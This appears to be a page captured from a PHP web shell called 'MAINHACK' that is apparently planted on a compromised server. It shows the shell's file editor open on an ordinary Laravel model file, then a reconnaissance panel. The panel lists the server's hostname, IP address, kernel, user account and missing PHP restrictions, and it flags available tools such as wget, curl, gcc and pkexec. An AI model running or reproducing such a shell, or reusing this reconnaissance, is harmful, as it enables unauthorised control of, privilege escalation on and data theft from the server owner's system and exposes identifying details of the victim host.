[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Stage.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Stage extends Model { protected $fillable = ['name', 'color', 'complete', 'workspace_id', 'order']; public static function getTaskCountsForDate($workspaceId, $projectId, $date) { return static::leftJoin('tasks', 'stages.id', '=', 'tasks.status') ->where('stages.workspace_id', $workspaceId) ->whereDate('tasks.updated_at', $date) ->when($projectId !== null, function ($query) use ($projectId) { return $query->where('tasks.project_id', $projectId); }) ->groupBy('stages.id') ->select('stages.id', \DB::raw('count(tasks.id) as task_count')) ->get() ->pluck('task_count', 'id') ->toArray(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002